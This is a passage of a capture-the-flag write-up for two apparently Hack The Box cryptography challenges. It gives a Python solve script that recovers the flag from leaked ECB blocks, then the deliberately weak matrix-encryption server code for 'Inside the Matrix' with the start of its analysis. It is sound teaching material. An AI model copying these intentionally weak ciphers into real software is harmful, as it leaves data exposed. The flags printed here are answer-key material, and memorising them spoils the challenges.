&lt;h4 id="the-encryption-method">The encryption method&lt;/h4>
&lt;p>The &lt;code>encrypt()&lt;/code> method is not in ECB mode, it&amp;rsquo;s similar to CBC, which can be visualized by this graph:&lt;/p>
&lt;img src='encryption.png' alt="Encryption" width="1000"/>
&lt;h4 id="the-leaked-data">The Leaked Data&lt;/h4>
&lt;p>The &lt;code>leak&lt;/code> method extracts 2 consecutives blocks of &lt;code>ciphertext&lt;/code> and encrypted them using ECB mode. Our leaked data is of ciphertext block 3th and 4th. By using the graph above, we can easily see where the leak data comes from and how to use it to break the system, here is the new graph:&lt;/p>
&lt;img src='leak.png' alt="Leak" width="1000"/>
&lt;h3 id="solution-method-1">Solution Method&lt;/h3>
&lt;p>The work is simple, just to &lt;code>xor&lt;/code> the &lt;code>c[4]&lt;/code> with &lt;code>Leak[0]&lt;/code> and xor &lt;code>c[5]&lt;/code> with &lt;code>Leak[1]&lt;/code>, then we can recover the plaintext &lt;code>m[4]&lt;/code> and &lt;code>m[5]&lt;/code>, respectively. They must be parts of, or entire flag (in any order).&lt;/p>
&lt;p>Here is the script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">_a&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">_b&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">_a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_b&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">zip&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">)])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ct&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Leak&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;8b6973611d8b62941043f85cd1483244&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;cf8f71416111f1e8cdee791151c222ad&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Leak&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">Leak&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ct&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">Leak&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">Leak&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="results-1">Results&lt;/h3>
&lt;p>Here is the result: &lt;code>b'_w34k_w17h_l34kz}HTB{CFB_15_w34k'&lt;/code>&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{CFB_15_w34k_w34k_w17h_l34kz}&lt;/strong>&lt;/p>
&lt;h2 id="inside-the-matrix">Inside the Matrix&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1w3gAAQ9VKg6HucPePcDwvUqzlKTWaRbk/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you deciphered the Matrix, you discovered that the astronomy scientist had observed that certain stars were not real. He had created two 5x5 matrices with values based on the time the stars were bright, but after some time, the stars stopped emitting light. Nonetheless, he had managed to capture every matrix until then and created an algorithm that simulated their generation. However, he could not understand what was hidden behind them as he was missing something. He believed that if he could understand the stars, he would be able to locate the secret tombs where the relic was hidden.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The server script is shown below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sage.all_cmdline&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># from utils import ascii_print&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;HTB{????????????????????}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">assert&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">25&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Book&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">size&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prime&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">parse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pt&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">b&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">pt&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">matrix&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prime&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">size&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">size&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pt&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">generate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">size&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">rotate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prime&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">random_prime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">False&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rotate&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">generate&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">message&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">key&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Options:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;[L]ook at page&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;[T]urn page&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;[C]heat&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">option&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">book&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Book&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">book&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">page_number&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;L&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># ascii_print(ciphertext, key, page_number)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">page_number&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;T&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">book&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">page_number&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;C&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="nb">list&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="nb">list&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Invalid option!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;An error occurred: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement-2">Problem Statement&lt;/h3>
&lt;p>The code defines a class &lt;code>Book&lt;/code> that is used to generate a key matrix and encrypt a message using matrix multiplication. The matrix is generated randomly each time a message is encrypted, and its size is fixed at $5\times 5$. The program encrypts a flag, stored in &lt;code>FLAG&lt;/code>, using the &lt;code>Book&lt;/code> class and presents a menu to the user to interact with the encrypted flag.&lt;/p>
&lt;p>The main function of the code presents a menu to the user with three options:&lt;/p>
&lt;ul>
&lt;li>&lt;code>[L]ook at page&lt;/code>: displays the ciphertext and key matrix for the current page number. Here is an example output when you choose this option:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Options:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[L]ook at page
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[T]urn page
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[C]heat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; L
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> _________ _________
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ______/ 5\ / 6 \_______
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> /| --------------- | --------------- |\
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| Ciphertext:--- - | Key:------------ |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| ---------------- | ------ -------- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| ---------- ----- | ---------------- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [3,12,21,20,8]-- | [18,18,21,26,24] |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [1,1,9,7,1]----- | [21,7,10,9,2]--- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [10,3,8,6,13]--- | [22,1,24,22,12]- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [0,19,24,15,12]- | [7,21,7,20,2]--- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [10,4,6,2,4]---- | [26,25,17,3,25]- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| ---------------- | ------ ----- --- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| --- - ---------- | ---------------- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">||______________ _ | ________________|||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">L/______/---------\\_//W--------\_______\J
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>
&lt;p>&lt;code>[T]urn page&lt;/code>: generates a new key matrix and ciphertext for the next page number.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>[C]heat&lt;/code>: displays the ciphertext and key matrix in list type. The Cheat output of above example page is:&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">[(3, 12, 21, 20, 8), (1, 1, 9, 7, 1), (10, 3, 8, 6, 13), (0, 19, 24, 15, 12), (10, 4, 6, 2, 4)]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[(18, 18, 21, 26, 24), (21, 7, 10, 9, 2), (22, 1, 24, 22, 12), (7, 21, 7, 20, 2), (26, 25, 17, 3, 25)]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="initial-analysis-2">Initial Analysis&lt;/h3>
&lt;h4 id="primes">Primes&lt;/h4>
&lt;p>Prime $p$ is changed whenever &lt;code>Turn page&lt;/code> option is chosen. Though we don&amp;rsquo;t know what $p$ is, we know that it would be from 16 to 64. There are 12 primes in this range, which are $17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61$.&lt;/p>
&lt;h4 id="the-encryption">The Encryption&lt;/h4>
&lt;p>It&amp;rsquo;s just a multiplication between two $5 \times 5$ matrixs over the field of integers modulo $p$:&lt;/p>
&lt;p>$$C \equiv M\times K (\text{mod } p)$$&lt;/p>
&lt;p>$$\Leftrightarrow M \equiv C\times K^{-1} (\text{mod } p)$$&lt;/p>
&lt;h4 id="conclusion-2">Conclusion&lt;/h4>
&lt;p>We already have key $K$ and ciphertext $C$ by using &lt;code>Cheat option&lt;/code>. Then if we know $p$, we can easily recover message $M$ in modulus $p$. Because $p$ is changeable, we can gather several pairs $(M_i, p_i)$ where $i \geq 2$.&lt;/p>
&lt;h3 id="solution-method-2">Solution Method&lt;/h3>
&lt;p>Suppose there are some entries in a key $K_1$ which are larger than 59, then $p_1$ must be 61.&lt;/p>
&lt;p>Suppose all entries in a key $K_2$ are smaller than 17, then it&amp;rsquo;s likely that $p_2$ is 17.&lt;/p>
